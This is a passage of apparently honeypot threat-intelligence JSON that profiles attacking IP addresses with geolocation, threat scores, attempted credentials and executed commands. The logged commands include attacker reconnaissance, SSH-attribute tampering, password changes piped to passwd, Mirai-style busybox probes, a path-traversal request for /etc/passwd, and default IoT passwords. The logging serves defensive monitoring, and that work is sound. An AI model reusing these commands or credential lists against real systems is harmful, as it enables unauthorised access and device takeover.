      "first_seen": "2026-03-14T20:40:37.020Z",
      "last_seen": "2026-03-14T21:04:07.189Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ansible",
        "345gs5662d34",
        "stanchion"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "stanchion"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"password\\ndbEhBvyXKZba\\ndbEhBvyXKZba\\n\"|passwd",
        "echo -e \"password\\ndbEhBvyXKZba\\ndbEhBvyXKZba\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:40:37.020000+00:00",
        "last_seen_30d": "2026-03-14T21:06:54.717000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 10
      }
    },
    "165.22.127.182": {
      "attack_count": 65,
      "first_seen": "2026-03-11T17:41:11.050Z",
      "last_seen": "2026-03-11T17:54:52.848Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T17:41:11.050000+00:00",
        "last_seen_30d": "2026-03-11T17:55:58.476000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 28
      }
    },
    "72.255.3.21": {
      "attack_count": 50,
      "first_seen": "2026-03-14T18:49:57.963Z",
      "last_seen": "2026-03-14T18:55:22.337Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T18:49:57.963000+00:00",
        "last_seen_30d": "2026-03-14T18:56:24.385000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.12.171": {
      "attack_count": 50,
      "first_seen": "2026-03-04T06:42:55.580Z",
      "last_seen": "2026-03-04T06:50:07.136Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T06:42:55.580000+00:00",
        "last_seen_30d": "2026-03-04T07:00:09.216000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "218.13.254.189": {
      "attack_count": 44,
      "first_seen": "2026-03-08T23:53:43.119Z",
      "last_seen": "2026-03-08T23:58:29.423Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Foshan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:53:43.119000+00:00",
        "last_seen_30d": "2026-03-08T23:59:31.738000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "121.206.191.180": {
      "attack_count": 37,
      "first_seen": "2026-03-23T20:02:48.214Z",
      "last_seen": "2026-03-23T20:03:02.385Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "vizxv",
        "xc3511"
      ],
      "commands_executed": [
        "config terminal",
        "echo -ne \\x45\\x4c\\x46",
        "linuxshell",
        "shell",
        "start",
        "system",
        "/bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cp /bin/ls ii ; cat i > ii ; rm i ; cp ii i ; rm ii",
        "enable",
        "sh",
        "su",
        "wget"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:02:48.214000+00:00",
        "last_seen_30d": "2026-03-23T20:13:04.977000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 6
      }
    },
    "182.185.128.234": {
      "attack_count": 36,
      "first_seen": "2026-03-30T13:39:46.554Z",
      "last_seen": "2026-03-30T13:42:49.449Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ONTUSER",
        "default",
        "Alphanetworks",
        "nobody",
        "telnetadmin",
        "vadmin",
        "webftp"
      ],
      "passwords_attempted": [
        "SUGAR2A041",
        "",
        "/*6.=_ja",
        "070admin",
        "1234",
        "7ujMko0admin",
        "ERRU$",
        "admin",
        "icatch99",
        "ipcam_rt5350",
        "jv",
        "lJwpbo6",
        "nobody",
        "root",
        "sky",
        "telnetadmin",
        "tlJwpbo6",
        "webftp123",
        "wrgnd08_dlob_dir815"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:39:46.554000+00:00",
        "last_seen_30d": "2026-03-30T13:53:33.137000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "107.170.56.212": {
      "attack_count": 35,
      "first_seen": "2026-03-10T08:24:35.328Z",
      "last_seen": "2026-03-10T08:33:16.008Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:24:35.328000+00:00",
        "last_seen_30d": "2026-03-10T08:34:22.817000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "67.52.95.38": {
      "attack_count": 35,
      "first_seen": "2026-03-08T16:58:07.445Z",
      "last_seen": "2026-03-31T02:34:19.783Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "arkserver",
        "francisco",
        "jino"
      ],
      "passwords_attempted": [
        "123456",
        "Arkserver123",
        "Idc@2025",
        "a1b2c3d4e5",
        "admin0000",
        "ariel",
        "gabsikee06"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Honolulu",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:58:07.445000+00:00",
        "last_seen_30d": "2026-03-31T02:35:23.834000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 22
      }
    },
    "223.123.72.248": {
      "attack_count": 20,
      "first_seen": "2026-03-17T19:09:58.179Z",
      "last_seen": "2026-03-17T19:12:07.595Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T19:09:58.179000+00:00",
        "last_seen_30d": "2026-03-17T19:13:12.055000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "38.188.160.94": {
      "attack_count": 20,
      "first_seen": "2026-03-10T23:16:03.950Z",
      "last_seen": "2026-03-11T00:15:40.444Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130384",
        "1507",
        "BAPTISTE",
        "gloria1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:16:03.950000+00:00",
        "last_seen_30d": "2026-03-11T00:16:40.866000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "121.41.236.216": {
      "attack_count": 14,
      "first_seen": "2026-03-25T15:56:26.996Z",
      "last_seen": "2026-03-25T15:59:36.436Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "gitlab",
        "root"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "gitlab"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T15:56:26.996000+00:00",
        "last_seen_30d": "2026-03-25T16:09:05.143000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "5.187.35.26": {
      "attack_count": 10,
      "first_seen": "2026-03-29T12:13:19.005Z",
      "last_seen": "2026-03-29T12:17:26.830Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Connection: close",
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 78.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1662,
        "days_active_30d": 4,
        "ports_targeted_30d": 998,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-28T14:10:33.460000+00:00",
        "last_seen_30d": "2026-03-31T23:39:52.403000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1429,
        "Honeytrap": 196,
        "Mailoney": 12,
        "Cowrie": 10,
        "Dionaea": 6,
        "Adbhoney": 2,
        "Ciscoasa": 1,
        "CitrixHoneypot": 1,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "1.192.189.251": {
      "attack_count": 9,
      "first_seen": "2026-03-24T05:44:06.412Z",
      "last_seen": "2026-03-24T05:55:24.530Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "upload"
      ],
      "passwords_attempted": [
        "Upload123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:44:06.412000+00:00",
        "last_seen_30d": "2026-03-24T06:05:32.372000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "119.29.203.194": {
      "attack_count": 9,
      "first_seen": "2026-03-06T06:55:43.881Z",
      "last_seen": "2026-03-06T06:59:43.597Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "cs"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:55:43.881000+00:00",
        "last_seen_30d": "2026-03-06T07:01:56.860000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "185.220.101.143": {
      "attack_count": 8,
      "first_seen": "2026-03-22T17:10:20.245Z",
      "last_seen": "2026-03-22T17:10:44.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T11:01:25+00:00",
        "last_seen_30d": "2026-03-22T21:37:18.939000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Honeytrap": 3
      }
    },
    "103.236.67.31": {
      "attack_count": 6,
      "first_seen": "2026-03-09T18:15:33.643Z",
      "last_seen": "2026-03-09T18:15:38.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa@123456",
        "HfIFPH0Cdw"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4816,
      "as_org": "China Telecom Group",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T18:15:33.643000+00:00",
        "last_seen_30d": "2026-03-09T18:17:31.389000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "121.147.143.81": {
      "attack_count": 6,
      "first_seen": "2026-03-06T13:08:29.305Z",
      "last_seen": "2026-03-31T22:39:03.785Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 44.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:08:29.305000+00:00",
        "last_seen_30d": "2026-03-31T22:40:07.880000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "167.94.138.194": {
      "attack_count": 6,
      "first_seen": "2026-03-05T12:10:30.776Z",
      "last_seen": "2026-03-05T12:11:12.212Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 21,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T04:35:34+00:00",
        "last_seen_30d": "2026-03-22T14:24:15.489000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 60,
        "Cowrie": 6,
        "Honeyaml": 3,
        "ConPot": 2,
        "Dicompot": 1
      }
    },
    "120.48.112.118": {
      "attack_count": 5,
      "first_seen": "2026-03-08T04:21:45.138Z",
      "last_seen": "2026-03-08T04:23:45.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Test1234567890!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:21:45.138000+00:00",
        "last_seen_30d": "2026-03-08T04:33:46.144000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "172.94.9.154": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:17:20.634Z",
      "last_seen": "2026-03-06T01:17:23.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "@2024kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:31:56.334000+00:00",
        "last_seen_30d": "2026-03-06T01:18:28.997000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "185.220.101.108": {
      "attack_count": 5,
      "first_seen": "2026-03-09T15:44:53.340Z",
      "last_seen": "2026-03-09T15:44:57.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:44:53.340000+00:00",
        "last_seen_30d": "2026-03-09T15:46:04.980000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.220.101.142": {
      "attack_count": 5,
      "first_seen": "2026-03-15T11:01:46.932Z",
      "last_seen": "2026-03-15T11:01:51.962Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "toor"
      ],
      "passwords_attempted": [
        "Lagartij0Toor!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-15T11:01:46.932000+00:00",
        "last_seen_30d": "2026-03-27T13:23:03.244000+00:00",
        "days_since_last_seen": 4
      },
